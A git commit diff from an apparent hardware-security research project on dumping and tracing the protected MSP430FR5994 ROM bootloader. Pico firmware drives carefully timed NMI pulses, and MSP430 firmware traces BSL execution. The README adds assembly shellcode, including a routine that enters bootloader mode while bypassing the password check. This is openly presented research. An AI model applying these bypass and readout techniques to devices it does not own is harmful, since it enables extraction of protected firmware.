NMI-based tracing works

This commit is contained in:
Triss 2022-04-12 23:50:20 +02:00
parent a528472828
commit 53d514f247
5 changed files with 378 additions and 95 deletions

104
README.md
View File

@ -3,6 +3,25 @@
Tools to try to dump the MSP430FR BSL, mainly targetting the [MSP430FR5994
](https://www.ti.com/product/MSP430FR5994) (on an MSP-EXP430FR5994 devboard).
## Why
In 2009, Travis Goodspeed and Aurélien Francillon discovered that the [ROM BSL
in flash-based MSP430 units](https://www.ti.com/lit/ug/slau319ae/slau319ae.pdf)
can be used as a source of shellcode, ROP gadgets, and even called from
software to enable the BSL interface without authentication to read out an
otherwise protected firmware.
Since then, TI has made the mask ROM BSL in newer MSP430 models, such as the
MSP430FR5994, an execute-only area of memory. Furthermore, it can only be
called from the "Z-area", which is the first 8 bytes of the BSL memory area.
Jumping to other locations causes a reset of the microcontroller. Read accesses
to the BSL are likewise also forbidden. When JTAG/SBW is enabled, the BSL is
not usable at all.
However, it is still unclear whether these countermeasures are enough to stop
attacks that use the BSL as a shellcode, ROP gadget, or readout backdoor
source. Hence this project.
## The idea
The MSP430FR bootloader ('BSL') resides at `0x1000`. This memory cannot be
@ -84,6 +103,8 @@ described near the end, the article is quite large.
1. The BSL execution is allowed to be interrutped, thus the instruction flow
can be traced by dumping CPU register values throughout the BSL execution.
This allows for finding arbitrary read gadgets.
1. The routine at `0x1002` can also be used to return from interrupts, thus
also bypassing that protection.
## Vulnerabilities of the BSL against use as a source of ROP gadgets
@ -113,6 +134,8 @@ described near the end, the article is quite large.
at least not according to the techniques used here.) The first, documented
BSL region cannot access the second region directly, it must also go through
the corresponding Z-area.
1. The BSL command "RX Data Block Fast" has the exact same implementation as
the regular "RX Data Block" command. The name is a lie.
## What has not been checked
@ -121,7 +144,7 @@ described near the end, the article is quite large.
might differ from the executed address due to pipelining effects? (cf.
[MerryMage's GBA BIOS dump](https://mary.rs/lab/gbabios/)) NOTE: `0x0FFE` is
not backed by anything and always reads as 0, so getting this to work will
be tricky.
be tricky. The MSP430FR5994 does not seem to show open bus properties.
1. DMA: can a DMA transfer be used to change the stack contents during BSL
execution? (Most likely, just like interrupts can, I simply haven't checked.)
1. Dumping of the `0x1b00`..`0x1bff` region still needs to happen.
@ -141,11 +164,23 @@ with BSL 00.08.35.B3:
## Region 2 WIP stuff
* `0x1b00` entrypoint: basically halts the CPU. Not very useful.
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts.
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts. This
code implements the "Mass Erase" command.
* `0x1b04` jumps to `0x1bd6` which almost immediately disables interrupts.
Haven't been able to get around the IRQ disable thing yet... TODO: try NMI? Or
some timer IRQ sneakiness to get around the IRQ disable code.
None of these functions return. As there is no known usable gadget yet from in
the second BSL region, the "interrupt disable" instructions cannot be skipped,
and thus timer interrupts cannot be used to trace the execution flow. However,
the NMI pin can still be used as an interrupt source, by sending
carefully-timed signals from another device, where the timer interrupt would
otherwise happen. This requires a bit more setup, but it is able to work just
fine.
Do note that, unlike with regular interrupts, the MSP430X CPU does need to
execute a `reti` instruction to reenable nonmaskable interrupts. As this would
normally return into the BSL from user code, doing this would cause a reset.
Luckily, it is still possible to change the program counter on the stack of the
address returned to, so the experiment can be restarted from the beginning.
## Proof of concept
@ -155,3 +190,64 @@ mode. Tested on an MSP430FR5994, but no other chips.
By setting the `DUMP_MODE` preprocessor definition to 0, it can instead be used
as an instruction tracer, accompanied by `logtracer.py`.
## Useful shellcode
### Jump to any location in the BSL
Works only for the first BSL region (`0x1000..0x1800`). `r14` will have fixed
value `0xBEEF`.
```asm
pushx.a #address_to_jump_to
push.w r12
push.w r13
mov.w #0xdead, r13
mov.w #0xbeef, r14
br #0x1002
```
### Return from an interrupt into the BSL
Works only for the first BSL region (`0x1000..0x1800`). Destroys `r14`.
```asm
push.w r12
push.w r13
mov.w #0xdead, r13
mov.w #0xbeef, r14
@ restore status register
mov.w 4(sp), sr
@ this will restore r12 and r13 and the perform a reta (discarding the sr
@ value which reti would preserve)
br #0x1002
```
### Enter bootloader mode, bypassing the password check, without clearing RAM
Do *not* send the BSL password authentication command.
Cf. Travis Goodspeed's BSL-reenable-shellcode ([a
](https://www.usenix.org/legacy/event/woot09/tech/full_papers/goodspeed.pdf),
[b](https://archive.org/details/Pocorgtfo02):5)
```asm
@ unlock the BSL
mov.w #0xa5a5, 0x1c00
@ this jumps to the initialization phase of the BSL, after the RAM clear
@ and BSL password-reset-to-not-yet-checked phase
@ this probably does need the clock set to 8 MHz to function correctly
pushx.a #0x16d4
push.w r12
push.w r13
mov.w #0xdead, r13
mov.w #0xbeef, r14
br #0x1002
```
Compare with the original, from PoC||GTFO 2:5:
```asm
mov #0xFFFF, r11 ;; Disable BSL password protection.
br &0x0c02 ;; Branch to the BSL Soft Entry Point
```

View File

@ -48,7 +48,7 @@ MEMORY {
INFOB : ORIGIN = 0x1900, LENGTH = 0x0080 /* END=0x197F, size 128 */
INFOC : ORIGIN = 0x1880, LENGTH = 0x0080 /* END=0x18FF, size 128 */
INFOD : ORIGIN = 0x1800, LENGTH = 0x0080 /* END=0x187F, size 128 */
FRAM (rx) : ORIGIN = 0x4000, LENGTH = 0xBF80 /* END=0xFF7F, size 49024 */
FRAM (rx) : ORIGIN = 0xC000, LENGTH = 0x3F80 /* END=0xFF7F, size 49024 */
HIFRAM (rxw) : ORIGIN = 0x00010000, LENGTH = 0x00033FF7 /* Boundaries changed to fix CPU47 */
JTAGSIGNATURE : ORIGIN = 0xFF80, LENGTH = 0x0004
BSLSIGNATURE : ORIGIN = 0xFF84, LENGTH = 0x0004

View File

@ -30,12 +30,42 @@
#define PIN_ACK 16
#define PIN_UART 17
#define PIN_ACT 18
#define PIN_STAT 19
#define PIO_UNIT pio0
#define PIOSM_UART 0
#define PIOSM_TRIG 1
#define UART_BAUD 9600
/*static void act_irq(uint gpio, uint32_t ev) {
if (gpio != PIN_ACT) return;
//printf("ev: 0x%lx\n", ev);
if (ev & GPIO_IRQ_EDGE_FALL) {
if (ev & GPIO_IRQ_EDGE_RISE) {
//printf("wut\n");
} else {
//printf("fall\n");
//gpio_set_function(PIN_NMI, GPIO_FUNC_NULL);
const uint func = GPIO_FUNC_NULL;
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
);
}
} else if (ev & GPIO_IRQ_EDGE_RISE) {
//printf("rise\n");
//gpio_set_function(PIN_NMI, GPIO_FUNC_PIO0);
const uint func = GPIO_FUNC_PIO0;
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
);
}
}*/
static void init_gpio(void) {
const int func = GPIO_FUNC_PIO0;
@ -65,16 +95,34 @@ static void init_gpio(void) {
);
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
| ((uint)(PIN_NMI_POL ? GPIO_OVERRIDE_INVERT
: GPIO_OVERRIDE_NORMAL) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
| ((uint)(/*PIN_NMI_POL ?*/ GPIO_OVERRIDE_NORMAL//INVERT
/*: GPIO_OVERRIDE_NORMAL*/) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS | IO_BANK0_GPIO0_CTRL_OUTOVER_BITS
);
gpio_set_outover(PIN_NMI, GPIO_OVERRIDE_INVERT);
sio_hw->gpio_clr = 1u << PIN_ACK;
sio_hw->gpio_oe_set = 1u << PIN_ACK;
gpio_init(PIN_ACK);
gpio_set_dir(PIN_ACK, GPIO_OUT);
gpio_set_function(PIN_ACK, GPIO_FUNC_SIO);
sio_hw->gpio_oe_clr = 1u << PIN_ACT;
gpio_init(PIN_ACT);
gpio_set_dir(PIN_ACT, GPIO_IN);
gpio_set_function(PIN_ACT, GPIO_FUNC_SIO);
sio_hw->gpio_set = 1u << PIN_STAT;
sio_hw->gpio_oe_set = 1u << PIN_STAT;
gpio_init(PIN_STAT);
gpio_put(PIN_STAT, true);
gpio_set_dir(PIN_STAT, GPIO_OUT);
gpio_set_function(PIN_STAT, GPIO_FUNC_SIO);
const int irq = PIO0_IRQ_1;
irq_set_enabled(irq, false);
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
irq_set_enabled(irq, true);
}
static uint off_uart, off_trig;
@ -84,15 +132,16 @@ static void init_pio(void) {
off_trig = pio_add_program(PIO_UNIT, &trigctl_program);
trigctl_pio_init(PIO_UNIT, PIOSM_TRIG, off_trig,
trig_source_pin, PIN_NMI, PIN_TRIGGER, PIN_TRIGGER_POL,
PIN_NMI_POL, true, 125); // 1 MHz
trig_source_pin, PIN_NMI, PIN_TRIGGER,
//PIN_TRIGGER_POL, PIN_NMI_POL,
true, 5); // 25 MHz
const int irq = PIO0_IRQ_1;
/*const int irq = PIO0_IRQ_1;
irq_set_enabled(irq, false);
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
trigctl_set_glitch_irq_enabled(PIO_UNIT, PIOSM_TRIG, 1, true);
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
irq_set_enabled(irq, true);
irq_set_enabled(irq, true);*/
}
static bool uart_poll_ch(uint8_t* ch) {
@ -107,23 +156,31 @@ static bool uart_poll_ch(uint8_t* ch) {
int main() {
stdio_init_all();
init_gpio();
init_pio();
init_gpio();
while (!stdio_usb_connected());
/*gpio_set_irq_enabled_with_callback(PIN_ACT,
GPIO_IRQ_EDGE_RISE|GPIO_IRQ_EDGE_FALL, true, act_irq);*/
const uint LED_PIN = PICO_DEFAULT_LED_PIN;
gpio_init(LED_PIN);
gpio_set_dir(LED_PIN, GPIO_OUT);
gpio_put(LED_PIN, true);
//while (!stdio_usb_connected());
uint32_t delay = 1;
const uint32_t len = 2;
const uint32_t len = 16;
while (true) {
if (pio_sm_is_tx_fifo_empty(PIO_UNIT, PIOSM_TRIG)) {
printf("push offlen\n");
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay, len);
//printf("push offlen\n");
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay*25, len*25);
}
uint8_t ch;
if (uart_poll_ch(&ch)) {
printf("got cmd: %c\n", ch);
//printf("got cmd: %c\n", ch);
switch (ch) {
case '0': delay = 1; break;
case '+': ++delay; break;
@ -131,17 +188,17 @@ int main() {
default: goto noack;
}
printf("send ack\n");
//printf("send ack\n");
sio_hw->gpio_set = 1u << PIN_ACK;
busy_wait_us_32(50);
sio_hw->gpio_clr = 1u << PIN_ACK;
printf("sent ack\n");
//printf("sent ack\n");
noack:;
}
if (PIO_UNIT->irq & (1u << PIOSM_TRIG)) {
printf("sent nmi\n");
//printf("sent nmi\n");
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
}
}

View File

@ -46,8 +46,8 @@ enum trigctl_source {
};
static inline void trigctl_pio_init(PIO pio, uint sm, uint prog_offs,
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin,
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin/*,
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol*/
, bool enable, int divider) {
pio_sm_set_enabled(pio, sm, false);

View File

@ -31,7 +31,13 @@ static void setup_io(void) {
P1OUT &= ~BIT5;
P1DIR &= ~BIT5;
P1SEL0 &= ~BIT5;
P2SEL0 &= ~BIT5;
P1SEL1 &= ~BIT5;
P3OUT |= BIT0; P3OUT &= ~BIT2;
P3DIR |= BIT0; P3DIR &= ~BIT2;
P3REN = BIT2; // enable PDR on P3.1
P3SEL0 &= ~(BIT0|BIT2);
P3SEL1 &= ~(BIT0|BIT2);
// uart to pico (eUSCI_A3)
P6OUT = BIT0;
@ -63,51 +69,67 @@ static void pico_wait_ack(void) {
// ---
__attribute__((__persistent__)) // put in FRAM (BSL clears RAM)
static uint32_t regbak[16]={0};
__attribute__((__persistent__))
static uint8_t stackbak[16]={0};
extern uint16_t curticks, curticks_;
__attribute__((__persistent__, __used__))
uint16_t curticks = 1;
__attribute__((__persistent__, __used__))
uint16_t curticks_ = 1;
extern uint16_t done_irq;
__attribute__((__persistent__, __used__))
uint16_t done_irq = 0;
extern uint16_t curaddr;
__attribute__((__persistent__, __used__))
uint16_t curaddr = 0x1000;
/*extern uint16_t traceaddr;
__attribute__((__persistent__))
uint16_t traceaddr = 0x1000; // changeme*/
typedef void (*bsl_fn)(void);
#define START_HARD 1/*36000*/
/*#define START_SOFT 36990*/
#define END_CYC 0xffffu
/*#define SKIP_CYC_OFF 5*/
// DUMP_MODE == 0 => insn trace mode
#define DUMP_MODE 1
#define DUMP_MODE 0
#define DUMP_CYC_OFF 14
#define DUMP_ADDR_START 0x1000
#define DUMP_ADDR_START (0x1000+2) /* there's an off-by-4 error */
#define DUMP_ADDR_END 0x1800
#define USE_NMI 1
#if USE_NMI
#define STORAGE
#define CODESP __attribute__((__section__(".lower.data")))
#else
#define STORAGE __attribute__((__persistent__))
#define CODESP
#endif
STORAGE static uint32_t regbak[16]={0};
STORAGE static uint8_t stackbak[16]={0};
extern uint16_t curticks, curticks_;
STORAGE uint16_t curticks = 1;
STORAGE uint16_t curticks_ = 1;
extern uint16_t done_irq;
STORAGE uint16_t done_irq = 0;
extern uint16_t curaddr;
STORAGE uint16_t curaddr = 0x1000;
/*extern uint16_t traceaddr;
__attribute__((__persistent__))
uint16_t traceaddr = 0x1000; // changeme*/
void do_trace(void);
__attribute__((__no_inline__)) void do_trace(void) {
__attribute__((
#if USE_NMI
__section__(".lower.data")
#endif
, __no_inline__, __used__))
void do_trace(void) {
const bool nmi = USE_NMI;
P1OUT ^= BIT1;
// TODO: chain 2 timers for 32 bit tick number
// TODO: continue instead of restarting?
// ^: mightn't be possible: instruction exec restarts after irq
// init timer TA0
__bic_SR_register(GIE);
if (nmi) {
done_irq = 1;
SFRIE1 = NMIIE;
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
} else {
#if DUMP_MODE
//traceaddr = 0x1002;
TA1CCR0 = DUMP_CYC_OFF;
@ -127,9 +149,12 @@ __attribute__((__no_inline__)) void do_trace(void) {
//TA1CCTL0 |= CCIFG;
//TA1CCTL0 &= ~(CCIE|CCIFG);
TA1CCTL0 = CCIE;
}
// exec bsl
asm volatile(
//#if !USE_NMI
"mov.a #(__stack-8), sp\n"
//#endif
"mov.w #0xaaaa, r4\n"
"mov.w #0xaaaa, r5\n"
"mov.w #0xaaaa, r6\n"
@ -147,18 +172,21 @@ __attribute__((__no_inline__)) void do_trace(void) {
// extra 0x1002 magic
"mov.w curaddr, sp\n"
#endif
#if USE_NMI
// send trigger
"bis.w #0x10, P1OUT\n"
#else
//TA1CTL = TASSEL__SMCLK | ID__1 | MC__UP | TACLR | TAIE;
"mov.w #0x0216, TA1CTL\n"
"eint\n"
"call #0x1002\n" // CHANGEME (address to trace insn flow of)
/*"nop\n"
#endif
"nop\n"
"nop\n"
"nop\n"
"nop\n"
"nop\n"
//"mov.w #0x1337, r8\n"
"nop\n"
"mov.w #0x1337, r8\n"
"dint\nnop\n"
"add.w #-1, r4\n"
"add.w #1, r5\n"
@ -180,36 +208,59 @@ __attribute__((__no_inline__)) void do_trace(void) {
"add.w #2, r6\n"
"add.w #4, r7\n"
"add.w #8, r8\n"
"1: jmp 1b\n"*/
"pushx.a #1f\n"
"push.w r12\n"
"push.w r13\n"
"mov.w #0, r12\n"
"mov.w #0xdead, r13\n"
"mov.w #0xbeef, r14\n"
"br #0x1002\n" // CHANGEME (address to trace insn flow of)
//#if !USE_NMI
"1: jmp 1b\n"
//#endif
);
//while (1) ;
//#if !USE_NMI
while (1) ;
__builtin_unreachable();
//#endif
}
void do_collect(uint16_t* sp);
__attribute__((__used__, __no_inline__))
__attribute__((__used__, __no_inline__
#if USE_NMI
, __section__(".lower.data")
#endif
))
void do_collect(uint16_t* sp) {
#if USE_NMI
// ack nmi
SFRIFG1 &= ~NMIIFG;
SYSUNIV = 0;
P1OUT &= ~BIT4; // lower trigger signal
pico_send_cmd('+'); // increase delay until nmi
pico_wait_ack();
SFRIE1 = NMIIE;
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
#else
//P1OUT=0;
TA1CTL &= ~(uint16_t)(TAIE|MC__UP);
// 0x1bc2/4 and 0x1bd6/8 contain a bic #GIE, sr instruction! these should be 2 bytes in size
/*if (pc16 == 0x1bc2 || pc16 == 0x1bc4 || pc16 == 0x1bd6 || pc16 == 0x1bd8) {
sp[24] |=
}*/
// 0x1b96 does a jump to ???? (probably from a memory location?)
#endif
#if DUMP_MODE
uint16_t v1 = sp[2*(12-4)];
uint16_t v2 = sp[2*(13-4)];
if (!(curaddr & 0xf)) {
iprintf("%04x: ", curaddr);
if ((curaddr & 0xf) == 0x2) {
iprintf("%04x: ", curaddr-2/*correct off-by-2 error*/);
}
iprintf("%02x %02x %02x %02x ",
v1 & 0xff, (v1 >> 8) & 0xff,
v2 & 0xff, (v2 >> 8) & 0xff
);
if ((curaddr & 0xf) == 0xc) {
if ((curaddr & 0xf) == 0xe) {
iprintf("\r\n");
}
#else
@ -255,17 +306,23 @@ void do_collect(uint16_t* sp) {
next_iter:
#if DUMP_MODE
if (curaddr == DUMP_ADDR_END) while(1); // start of info mem
curaddr += 4;
if (curaddr > DUMP_ADDR_END) while(1); // start of info mem
#else
if (curticks == END_CYC) while(1);
//if (curticks == END_CYC) while(1);
++curticks;
#endif
#if USE_NMI
//P1OUT ^= BIT1;
// return...
#else
do_trace();
__builtin_unreachable();
#endif
}
__attribute__((__interrupt__(TIMER1_A0_VECTOR), __naked__))
void Timer_A1_ISR(void);
__attribute__((__naked__, __interrupt__(TIMER1_A0_VECTOR), __used__))
void Timer_A1_ISR(void) {
asm volatile(
".extern do_collect\n"
@ -310,26 +367,55 @@ void Timer_A1_ISR(void) {
"mov.a sp, r12\n"
"call #do_collect\n"
"popm.a #12, r15\n"
#if USE_NMI
"mov.w #do_trace, 2(sp)\n"
//"bis.w #0x10, P1OUT\n"
#endif
"reti\n"
);
}
__attribute__((__interrupt__(UNMI_VECTOR)))
//extern const uint8_t TRAM_PAYLOAD_START[], TRAM_PAYLOAD_END[];
__attribute__((__interrupt__(UNMI_VECTOR), __naked__))
void NMI_ISR(void) {
SFRIFG1 &= ~NMIIE;
asm volatile(
".extern Timer_A1_ISR\n"
"xor.b #1, P1OUT\n"
/*"bit.b #4, P3IN\n"
"jz .Lnotyet\n"*/
"jmp Timer_A1_ISR\n" // do the general stuff
//"reti\n"
/*".Lnotyet:"
"bic.w #0x10, SFRIFG1\n" // clear NMIIFG bit from flags
"mov.w #0, SYSUNIV\n"
"reti\n"*/
);
/*SFRIFG1 &= ~NMIIFG;
SYSUNIV = 0;
//++P1OUT;
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);*/
}
int main(void) {
CODESP int main(void) {
setup_io();
setup_clocks();
stdio_msp_init();
SFRIE1 = NMIIE;
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
#if USE_NMI
// now in do_trace
/*SFRIE1 = NMIIE;
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;*/
// NOTE: RST/#NMI == SBWTDIO
P3OUT |= BIT0; // tell pico to enable its NMI line
while (!(P3IN & BIT2)) ; // wait for pico to do stuff
//P1OUT |= BIT0;
#endif
memset(regbak, 0, sizeof regbak);
__bis_SR_register(GIE); // enable irq
@ -351,8 +437,14 @@ int main(void) {
puts("hello world!\r\n");
done_irq = 0;
#if USE_NMI
pico_send_cmd('0');
pico_wait_ack();
#endif
do_trace();
/*while(1);*/__builtin_unreachable();
pico_send_cmd(0);
/*pico_send_cmd(0);
while (true) {
P1OUT |= BIT4; // send trig
__delay_cycles(10);
@ -361,9 +453,47 @@ int main(void) {
pico_send_cmd('+');
pico_wait_ack();
__delay_cycles(10000);
}
/*do_trace();
__builtin_unreachable();*/
}*/
/*__data20_write_long((uintptr_t)&DMA0SA, (uintptr_t)TRAM_PAYLOAD_START);
__data20_write_long((uintptr_t)&DMA0DA, (uintptr_t)0x0000+10);
__data20_write_long((uintptr_t)&DMA1SA, (uintptr_t)(TRAM_PAYLOAD_START+2));
__data20_write_long((uintptr_t)&DMA1DA, (uintptr_t)0x0002+10);
__data20_write_long((uintptr_t)&DMA2SA, (uintptr_t)(TRAM_PAYLOAD_START+4));
__data20_write_long((uintptr_t)&DMA2DA, (uintptr_t)0x0004+10);
__data20_write_long((uintptr_t)&DMA3SA, (uintptr_t)(TRAM_PAYLOAD_START+6));
__data20_write_long((uintptr_t)&DMA3DA, (uintptr_t)0x0006+10);
DMA0SZ = 1;
DMA1SZ = 1;
DMA2SZ = 1;
DMA3SZ = 1;
DMA0CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
DMA1CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
DMA2CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
DMA3CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
DMACTL4 = ROUNDROBIN;
DMA0CTL |= DMAEN;
DMA1CTL |= DMAEN;
DMA2CTL |= DMAEN;
DMA3CTL |= DMAEN;
DMA0CTL |= DMAREQ;
DMA1CTL |= DMAREQ;
DMA2CTL |= DMAREQ;
DMA3CTL |= DMAREQ;
for (int i = 0; i < 100; ++i) asm volatile("nop");
//asm volatile("br #0\n");
asm volatile("1: jmp 1b\n");
asm volatile(
".global TRAM_PAYLOAD_START\n"
".global TRAM_PAYLOAD_END\n"
"TRAM_PAYLOAD_START:\n"
"1: bis.w #3, 0x0202\n"
"jmp 1b\n"
"TRAM_PAYLOAD_END:\n"
);*/
while(1);
}